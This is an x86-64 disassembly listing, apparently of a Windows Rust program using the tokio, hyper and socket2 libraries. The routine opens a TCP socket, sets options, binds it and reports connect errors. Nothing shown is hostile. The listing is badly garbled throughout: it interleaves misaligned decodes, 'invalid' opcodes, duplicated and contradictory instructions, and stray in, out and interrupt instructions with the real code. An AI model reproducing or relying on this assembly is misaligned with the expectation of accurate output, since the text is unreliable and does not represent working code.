mov qword [rsp + 0x130], rax
mov rax, qword [rsi + 0x60]
mov eax, dword [rsi + 0x60]
mov eax, dword [rsi + 0x60]
mov qword [rsp + 0x128], rax
test bp, bp
mov eax, 2
mov ecx, 0x17
cmove ecx, eax
mov rax, qword [0x14017d168]
cmp rax, 3
jne 0x1400b82f1
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
and al, 0x28
add dword [rax], 0x44c70000
and al, 0x20
add byte [rax], al
add byte [rax], al
mov edx, 1
mov r8d, 6
xor r9d, r9d
xor ecx, ecx
xor ecx, ecx
call qword [sym.imp.ws2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x1400b8402
mov r14, rax
mov dword [rsp + 0x50], 1
push rax
add dword [rax], eax
add byte [rax], al
mov bh, 0x44
and al, 0x50
push rax
push rax
add dword [rax], eax
add byte [rax], al
lea r8, [rsp + 0x50]
mov rcx, rax
mov edx, 0x8004667e
add al, 0x80
add al, 0x80
call qword [sym.imp.ws2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
je 0x1400b8478
mov dword [rsp + 0x4c], r12d
mov qword [rsp + 0x120], r15
mov r12d, dword [rbx + 0x48]
cmp r12d, 0x3b9aca00
je 0x1400b78ac
mov r8d, 8
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1400b7848
invalid
sahf
add byte [rax], al
invalid
test byte [rsi - 0x47000000], bl
call 0x18c0b77b3
mov eax, edi
mov ecx, 0x3e8
mov rax, r15
mul rcx
mov ecx, r12d
imul rcx, rcx, 0x431bde83
sbb eax, dword [rbx + 0x48]
shr ecx, 0x32
sbb eax, dword [rbx + 0x48]
shr ecx, 0x32
add rcx, rax
adc rdx, 0
mov eax, 0xffffffff
cmp rcx, rax
cmovae rcx, rax
xor r15d, r15d
neg rdx
mov eax, 0
sbb eax, eax
or eax, ecx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x54], eax
mov dword [rsp + 0x58], 0
mov dword [rsp + 0xf8], 0
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
and al, 0x38
push rdi
ror byte [rdi], 0x11
and al, 0x38
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
and byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x50
and byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x50
mov rcx, r14
mov edx, 0x98000004
mov r9d, 0xc
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
jne 0x1400b7859
call qword [sym.imp.kernel32.dll_GetLastError]
mov r15d, eax
shl r15, 0x20
or r15, 2
mov eax, r15d
and eax, 3
cmp eax, 1
jne 0x1400b78ac
lea r12, [r15 - 1]
mov r13, qword [r15 - 1]
mov r15, qword [r15 + 7]
mov rcx, r13
call qword [r15]
cmp qword [r15 + 8], 0
or byte [rax], al
je 0x1400b789a
cmp qword [r15 + 0x10], 0x11
jb 0x1400b7888
mov r13, qword [r13 - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
test bp, bp
je 0x1400b7929
cmp byte [rbx + 0x56], 0
mov r12d, dword [rsp + 0x4c]
je case.0x14009e6a0.402
movups xmm0, xmmword [rbx + 0x57]
movups xmmword [rsp + 0x58], xmm0
adc dword [rsp + 0x58], eax
adc dword [rsp + 0x58], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0xa8], xmm0
and al, 0xa8
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xb8], eax
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0x50], 0x17
mov dword [rsp + 0xd0], 0x1c
lea rdx, [rsp + 0x50]
mov rcx, r14
mov r8d, 0x1c
jmp 0x1400b7af8
cmp byte [rbx + 0x51], 0
mov r12d, dword [rsp + 0x4c]
je 0x1400b7a53
mov eax, dword [rbx + 0x52]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0x88], xmm0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0xc8], 0
mov dword [rsp + 0x50], 2
mov dword [rsp + 0x54], eax
mov dword [rsp + 0xd0], 0x10
add byte [rax - 0x73], cl
push rsp
and al, 0x50
add byte [rax - 0x73], cl
push rsp
and al, 0x50
mov rcx, r14
mov r8d, 0x10
jmp 0x1400b7af8
xorps xmm0, xmm0
movups xmmword [rsp + 0xfc], xmm0
mov word [rsp + 0xf8], 1
add byte [rdi], cl
mov bh, 0x84
and al, 0xa
add dword [rax], eax
add byte [rsi - 0x77], ah
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xfa], cl
add byte [rdi], cl
mov bh, 0x84
and al, 0xa
add dword [rax], eax
add byte [rsi - 0x77], ah
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xfa], cl
movaps xmmword [rsp + 0xe0], xmm1
mov rax, qword [rsp + 0xe2]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0xea]
mov dword [rsp + 0x60], eax
movzx eax, word [rsp + 0xee]
mov bh, 0x84
and al, 0xee
add byte [rax], al
add byte [rsi - 0x77], ah
and al, 0x64
mov bh, 0x84
and al, 0xee
add byte [rax], al
add byte [rsi - 0x77], ah
and al, 0x64
movzx eax, word [rsp + 0xf0]
mov word [rsp + 0x66], ax
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm0
and al, 0x78
and al, 0x78
movups xmmword [rsp + 0x88], xmm0
movups xmmword [rsp + 0x98], xmm0
and al, 0x88
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x98], eax
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0xb8], xmm0
and al, 0xb8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
mov eax, 0x1c
and al, 0xb8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
mov eax, 0x1c
mov eax, 0x1c
xor eax, eax
mov dx, 0x17
xor ecx, ecx
jmp 0x1400b7ada
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xf8], 0
movups xmm0, xmmword [rsp + 0xfa]
test byte [rdx + rdi*8], ah
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xe0], eax
test byte [rdx + rdi*8], ah
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xe0], eax
movzx eax, word [rsp + 0x10a]
mov word [rsp + 0xf0], ax
movzx eax, word [rsp + 0xe4]
test byte [rsp + riz*8], ah
add byte [rax], al
add byte [rsi - 0x3f], ah
ror byte [rax], 0x8b
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x58
test byte [rsp + riz*8], ah
add byte [rax], al
add byte [rsi - 0x3f], ah
ror byte [rax], 0x8b
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x58
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm0
and al, 0x78
and al, 0x78
movups xmmword [rsp + 0x88], xmm0
movups xmmword [rsp + 0x98], xmm0
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xa8], eax
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xa8], eax
movups xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0xc8], 0
mov r8d, 0x10
mov eax, 0x10
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
mov eax, 0x10
mov dx, 2
mov word [rsp + 0x50], dx
mov word [rsp + 0x52], ax
mov dword [rsp + 0x54], ecx
mov dword [rsp + 0xd0], r8d
lea rdx, [rsp + 0x50]
mov rcx, r14
call qword [sym.imp.ws2_32.dll_bind]
xor r13d, r13d
add byte [rbp + 0x31], al
in eax, dx
test eax, eax
je 0x1400b7b16
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
shl r13, 0x20
and byte [rcx - 0x7d], cl
int 2
and byte [rcx - 0x7d], cl
int 2
test r13, r13
jne 0x1400b84e5
cmp byte [rbx + 0x68], 0
je 0x1400b7b53
add al, 0
add byte [rax], al
lea r9, [rsp + 0x50]
and al, 0x50
and al, 0x50
mov rcx, r14
mov edx, 0xffff
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1400b7b9b
cmp qword [rbx], 0
je 0x1400b7ba7
mov rax, qword [rbx + 8]
mov ecx, 0xffffffff
cmp rax, rcx
cmovb rcx, rax
mov dword [rsp + 0x50], ecx
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x50]
mov rcx, r14
mov edx, 0xffff
add byte [rcx - 0x48], al
add dword [rax], edx
add byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], edx
add byte [rax], al
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x1400b7ba7
call qword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1400b7ba7
add bl, ch
or al, 0xff
adc eax, 0x57767
call qword [sym.imp.kernel32.dll_GetLastError]
cmp qword [rbx], 0
jne 0x1400b7b59
cmp qword [rbx + 0x10], 0
je 0x1400b7bee
adc byte [rax + 9], cl
out dx, eax
lea r15, [rsi + 0x68]
mov rax, qword [rsp + 0x120]
and byte [rcx], al
add byte [rax], al
mov qword [rsi + 0x68], rax
mov dword [rsi + 0x70], r12d
mov qword [rsi + 0x78], rdi
mov rax, qword [rsp + 0x138]
cmp byte [rcx], al
add byte [rax], al
mov qword [rsi + 0x80], rax
mov rax, qword [rsp + 0x130]
mov eax, dword [rsp + 0x130]
mov eax, dword [rsp + 0x130]
mov qword [rsi + 0x88], rax
mov rax, qword [rsp + 0x128]
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x90], rax
mov qword [rsi + 0x98], r14
movups xmm0, xmmword [rsp + 0x140]
movups xmm1, xmmword [rsp + 0x150]
push rax
add dword [rax], eax
invalid
push rax
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x160], dl
add byte [rax], al
movups xmm2, xmmword [rsp + 0x160]
movups xmm3, xmmword [rsp + 0x170]
movups xmmword [rsi + 0xa0], xmm0
movups xmmword [rsi + 0xb0], xmm1
movups xmmword [rsi + 0xc0], xmm2
add byte [rdi], cl
adc dword [rsi + 0xd0], ebx
add byte [rdi], cl
adc dword [rsi + 0xd0], ebx
movups xmm0, xmmword [rsp + 0x180]
movups xmmword [rsi + 0xe0], xmm0
mov byte [rsi + 0xf0], 0
xchg al, dh
add byte [rax], al
add byte [rax], al
xchg al, dh
add byte [rax], al
add byte [rax], al
mov eax, dword [rsp + 0x119]
mov ecx, dword [rsp + 0x11c]
mov dword [rsi + 0xf1], eax
add byte [rax], al
mov dword [rsi + 0xf4], ecx
mov byte [rsi + 0xf8], 0
lea rcx, [rsi + 0xf9]
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x1d0]
xchg esp, eax
and al, 0xd0
add dword [rax], eax
add byte [rcx - 0x48], al
mov r8d, 0xf7
invalid
invalid
mov bl, 4
mov r8d, 0xf7
call sub.VCRUNTIME140.dll_memcpy
lea r14, [rsi + 0x1f0]
lock add dword [rax], eax
invalid
add byte [rbp + rcx*4 - 0x4a], cl
lock add dword [rax], eax
add byte [rcx - 0x48], al
mov byte [rcx], al
add byte [rax], al
add byte [rax], al
mov r8d, 0x188
mov rcx, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
add byte [rdi], cl
mov dh, 0x86
add byte [rdx], 0
add byte [rax - 0x73], cl
or eax, 0xbcef0
invalid
add byte [rdi], cl
mov dh, 0x86
add byte [rdx], 0
add byte [rax - 0x73], cl
or eax, 0xbcef0
invalid
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov edi, dword [rsi + 0x1f8]
add byte [rax], al
lea rax, [rsi + 0x200]
cmp edi, 0x3b9aca00
jne 0x1400b7dd3
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
adc byte [rax + 0x70], al
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rsi + 0x2f8], xmm0
movups xmm0, xmmword [rax + 0x60]
invalid
invalid
movups xmmword [rsi + 0x2e8], xmm0
add al, byte [rax]
add byte [rdi], cl
adc byte [rax + 0x50], al
invalid
add al, byte [rax]
add byte [rdi], cl
adc byte [rax + 0x50], al
movups xmmword [rsi + 0x2d8], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rsi + 0x2c8], xmm0
movups xmm0, xmmword [rax]
xchg al, cl
add al, byte [rax]
add byte [rdi], cl
adc byte [rax], al
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movups xmmword [rsi + 0x2b8], xmm3
movups xmmword [rsi + 0x2a8], xmm2
adc dword [rsi + 0x2a8], edx
adc dword [rsi + 0x2a8], edx
movups xmmword [rsi + 0x298], xmm1
movups xmmword [rsi + 0x288], xmm0
lea rdx, [rsi + 0x288]
lea rcx, [rsp + 0x50]
mov r8, qword [rsp + 0xd8]
call fcn.1400b8db0
adc byte [rax], al
add byte [rax - 0x75], cl
insb byte [rdi], dx
and al, 0x50
adc byte [rax], al
add byte [rax - 0x75], cl
insb byte [rdi], dx
and al, 0x50
cmp rbp, 3
je 0x1400b835b
mov r15, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
push 0x245c8b48
jo 0x1400b7db9
mov dh, 0x86
add byte [rbx], al
add byte [rax], al
push 0x245c8b48
jo 0x1400b7db9
mov dh, 0x86
add byte [rbx], al
add byte [rax], al
cmp eax, 3
je 0x1400b7e97
test eax, eax
jne 0x1400b8165
mov rbx, qword [r14]
movups xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xc0], xmm0
add byte [rax], al
add byte [rdi], cl
adc byte [rax + 0x60], al
add byte [rax], al
add byte [rdi], cl
adc byte [rax + 0x60], al
movaps xmmword [rsp + 0xb0], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x80], xmm3
movaps xmmword [rsp + 0x70], xmm2
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
call fcn.1400dfe70
add rax, rbx
jae 0x1400b7ea8
call fcn.1400dfe70
add rax, 0x38640900
jb 0x1400b861d
mov r8d, edx
cmp edx, 0x3b9aca00
jb 0x1400b7e8e
cmp eax, 0x3b9aca00
jb 0x1400b7e8e
add byte [rax], al
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_time_sleep.rs
jmp 0x1400b7ece
lea rcx, [rsi + 0x2b8]
call fcn.1400b8ca0
jmp 0x1400b8165
mov r8d, edx
add r8d, edi
cmp r8d, 0x3b9aca00
jb 0x1400b7ec7
inc rax
je 0x1400b7e36
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea rcx, [rsp + 0x140]
mov rdx, rax
call fcn.1400f4880
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x2b0], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
sub byte [rsp + 0xb0], al
sub byte [rsp + 0xb0], al
movaps xmmword [rsp + 0x2a0], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
sub byte [rsp + 0xa0], al
sub byte [rsp + 0xa0], al
movaps xmmword [rsp + 0x290], xmm0
movaps xmm0, xmmword [rsp + 0x90]
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x280], eax
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x280], eax
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movaps xmm2, xmmword [rsp + 0x70]
movaps xmm3, xmmword [rsp + 0x80]
pushfq
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x270], ebx
pushfq
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x270], ebx
movaps xmmword [rsp + 0x260], xmm2
add byte [rax], al
movaps xmmword [rsp + 0x250], xmm1
movaps xmmword [rsp + 0x240], xmm0
movups xmm0, xmmword [rsp + 0x140]
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x150], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x150], cl
movups xmm2, xmmword [rsp + 0x160]
movups xmm3, xmmword [rsp + 0x170]
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x1d0], xmm0
movaps xmmword [rsp + 0x1e0], xmm1
movaps xmmword [rsp + 0x1f0], xmm2
movaps xmmword [rsp + 0x200], xmm3
xchg esp, eax
and al, 0xf0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x200], ebx
movups xmm0, xmmword [rsp + 0x180]
add byte [rax], al
movaps xmmword [rsp + 0x210], xmm0
movups xmm0, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x220], xmm0
movups xmm0, xmmword [rsp + 0x1a0]
test byte [rax + riz], ah
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x1a0], al
movaps xmmword [rsp + 0x230], xmm0
lea rcx, [rsi + 0x288]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add dword [rax], eax
add byte [rcx - 0x48], al
lock add byte [rax], al
add al, ch
invalid
mov al, 4
invalid
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add dword [rax], eax
add byte [rcx - 0x48], al
lock add byte [rax], al
add al, ch
invalid
lea r13, [rsi + 0x288]
lea rdx, [rsi + 0x2f8]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
xchg esi, eax
clc
add al, byte [rax]
add byte [rbx + 0xc52c105], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400b8048
xor edi, edi
test eax, eax
jne 0x1400b8073
inc dword [rbp - 0x749e8a40]
add eax, 0xc529c
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rax, [0x1400e46c0]
mov rdi, rdx
mov rdx, rax
call fcn.1400d3ad0
mov rdx, rdi
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11c], 0
setne cl
cmp byte [rax + 0x11d], 0
sbb eax, 1
sbb eax, 1
sete dil
sete bh
and dil, cl
lea rcx, [rsp + 0x50]
mov r8, qword [rsp + 0xd8]
and al, 0xd8
add byte [rax], al
add al, ch
invalid
invalid
add byte [rax], al
and al, 0xd8
add byte [rax], al
add al, ch
sub ecx, dword [0xcb538087]
mov rbp, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x50]
cmp rbp, 3
jne 0x1400b8149
invalid
mov ch, 0
add byte [rax], al
test dword [rbp - 0x75000000], esi
add eax, 0xc521a
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400b80e4
test eax, eax
jne 0x1400b811c
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx ebx, byte [rax + 0x11c]
test bl, bl
sete cl
cmp byte [rax + 0x11d], 0
add byte [rax], al
add byte [rdi], cl
xchg ebp, eax
ror byte [rax], 0xc8
add byte [rax], al
add byte [rdi], cl
xchg ebp, eax
ror byte [rax], 0xc8
or dil, al
cmp dil, 1
jne 0x1400b8256
mov rax, qword [rsp + 0xd8]
mov rdx, qword [rax]
mov rcx, r13
and al, 0xd8
add byte [rax], al
add byte [rax - 0x75], cl
adc byte [rcx + rcx*4 - 0x17], cl
call fcn.1400f4af0
test al, al
jne 0x1400b82ed
mov rcx, r13
call fcn.1400b8d30
call case.0x1400970a3.155
mov r15, rax
jmp 0x1400b816e
mov r15, qword [rsp + 0x58]
pop rax
mov rdi, qword [rsp + 0x60]
mov edi, dword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
mov rcx, r13
call fcn.1400b8d30
retf
or eax, dword [rax]
add byte [rbx - 0x7af0fd03], al
int3
add dword [rax], eax
invalid
retf
movzx eax, byte [0x14017d2b0]
mov dh, 5
cmp edx, dword [rcx + 0xc]
add byte [rdx + 0x11], bh
mov edx, 0x11
mov edx, 0x11
xor ecx, ecx
call fcn.1400e0010
add al, byte [rax]
add al, byte [rax]
test rax, rax
je 0x1400b860e
mov r12, rax
movups xmm0, xmmword [0x14013d2bb]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x72
movzx eax, byte [0x14017d2b0]
mov edx, 8
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400b85ff
mov r13, rax
mov qword [rax], r15
mov byte [rsi + 0x280], 1
add dword [rcx + rcx*4 - 0xf], ecx
add dword [rcx + rcx*4 - 0xf], ecx
call fcn.1400b86c0
mov r8, qword [rsi + 0x20]
test r8, r8
je 0x1400b8221
cmp qword [rsi + 0x28], 0
je case.0x140091fd1.402
jle 0x1400b8201
add byte [rdi + rcx + 0x48], dh
mov ecx, dword [0x14017d208]
invalid
push rax
or al, 0
mov rcx, qword [0x14017d208]
and eax, 0x31000c50
sar bh, cl
adc eax, 0x57215
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsi + 0x30]
jbe 0x1400b821f
test r14, r14
je 0x1400b8221
mov rdi, qword [rsi + 0x38]
mov rcx, r14
call qword [rdi]
cmp qword [rdi + 8], 0
jg 0x1400b8209
invalid
je 0x1400b8221
jg 0x1400b8209
add byte [rbp + rbx + 0x48], dh
cmp dword [rdi + 0x10], 0x11
cmp qword [rdi + 0x10], 0x11
jb case.0x140071b87.300
mov r14, qword [r14 - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, 0x66894c00
and byte [rax - 0x39], cl
sub byte [rcx], r10b
add byte [rax], al
add byte [rcx + rcx*4 + 0x6e], cl
xor byte [rax - 0x73], cl
add eax, 0x818e0
sbb byte [rax], cl
invalid
mov qword [rsi + 0x20], r12
mov qword [rsi + 0x28], 0x11
mov qword [rsi + 0x30], r13
lea rax, [0x140139b18]
add eax, 0x818e0
sbb byte [rax], cl
invalid
sbb byte [rax], cl
add byte [rax - 0x77], cl
cmp byte [rax - 0x75], r9b
mov rcx, qword [rax + 8]
mov qword [rsi + 0x38], rax
mov rax, qword [rsi + 0x40]
mov rcx, qword [rax + 8]
mov r15, r12
cmp rcx, qword [rax + 0x18]
jne 0x1400b7655
jmp 0x1400b762f
dec dword [rbx + 0xc505805]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
add byte [rax], al
mov rdi, qword [rcx + rax*8]
mov byte [rdi + 0x11c], 0
add byte [rax - 0x75], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
adc byte [rcx + rcx*4 - 0x17], cl
add byte [rax - 0x75], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
adc byte [rcx + rcx*4 - 0x17], cl
call fcn.1400f4af0
movzx ecx, byte [rdi + 0x120]
cmp ecx, 1
je 0x1400b82c5
test ecx, ecx
jne 0x1400b82e5
add byte [rax], al
add byte [rbx + rcx*4 + 0x3c], cl
retf 0x8d49
add byte [rax], al
lea rdx, [0x1400e46c0]
mov edi, eax
call fcn.1400d3ad0
mov eax, edi
mov byte [r15 + 0x120], 1
add byte [rcx], al
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], bl
mov byte [rcx + 0x11d], 0
add byte [rax], al
add byte [rax], al
test al, al
je 0x1400b8137
mov al, 3
jmp 0x1400b835d
mov byte [rsp + 0xf8], 1
add byte [rax], al
add byte [rcx], al
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x50], rax
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x50
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_socket2_0.5.6_src_syswindows.rs
mov qword [rsp + 0x20], rax
lea rax, [0x14017d168]
lea r9, [0x140145128]
lea r8, [rsp + 0x50]
mov r14d, ecx
mov rcx, rax
mov ecx, eax
invalid
mov ecx, eax
xor edx, edx
call fcn.14010bcc0
mov ecx, r14d
jmp 0x1400b7701
mov byte [rsi + 0x280], 1
mov rcx, r14
int1
int1
call fcn.1400b86c0
mov r8, qword [rsi + 0x20]
test r8, r8
jne 0x1400b857a
jmp 0x1400b85c8
mov al, 4
mov byte [rsi + 0x280], al
mov rax, qword [rsp + 0x110]
add byte [rax], al
mov qword [rax], 3
mov al, 3
jmp 0x1400b85e5
mov r15, qword [rsi + 0x20]
test r15, r15
jne 0x1400b7638
lea rdx, str.Network_unreachabletcp_connect_error
mov r8d, 0x13
adc eax, dword [rax]
add byte [rax], al
mov cl, 7
call fcn.140096230
mov rbx, rax
mov ebx, eax
mov ebx, eax
movzx eax, byte [0x14017d2b0]
mov edx, 0x11
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400b860e
add byte [rax], al
mov r15, rax
movups xmm0, xmmword [0x14013d2bb]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x72
movzx eax, byte [0x14017d2b0]
mov dh, 5
fisttp word [rsi + 0xc]
add byte [rdx + 8], bh
mov dh, 5
fisttp word [rsi + 0xc]
add byte [rdx + 8], bh
xor ecx, ecx
call fcn.1400e0010
xor edi, dword [rdx + rax]
xor edi, dword [rdx + rax]
test rax, rax
je 0x1400b85ff
mov r12, rax
mov qword [rax], rbx
sbb byte [rax - 0x73], cl
sbb eax, 0x81725
sbb byte [rax - 0x73], cl
sbb eax, 0x81725
mov edi, 0x11
mov ebp, 2
add al, byte [rax]
add byte [rax], al
jmp 0x1400b85c8
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x56f00
mov ebx, eax
movzx eax, byte [0x14017d2b0]
or al, 0
lahf
or al, 0
or al, 0
or al, 0
mov edx, 0xe
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400b868a
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx - 0x77], cl
mov edi, eax
mov r15, rax
movabs rax, 0x726f727265206e65
outsb dx, byte gs:[rsi]
and byte [rbp + 0x72], ah
jb 0x1400b84a1
jb 0x1400b847d
mov dword [rdi + 6], eax
outsb dx, byte gs:[rsi]
and byte [rbp + 0x72], ah
jb 0x1400b84a1
jb 0x1400b847d
mov dword [rdi + 6], eax
invalid
movabs rax, 0x6e65706f20706374
jo 0x1400b845d
outsd dx, dword [rsi]
jo 0x1400b84a5
outsb dx, byte [rsi]
mov qword [r15], rax
movzx eax, byte [0x14017d2b0]
mov edx, 8
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400b85ff
invalid
lahf
add dword [rax], eax
invalid
test byte [rdi + 0x49000001], bl
mov esp, eax
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
mov r12, rax
shl rbx, 0x20
or rbx, 2
mov qword [rax], rbx
mov edi, 0xe
jmp case.0x1400a9a80.61
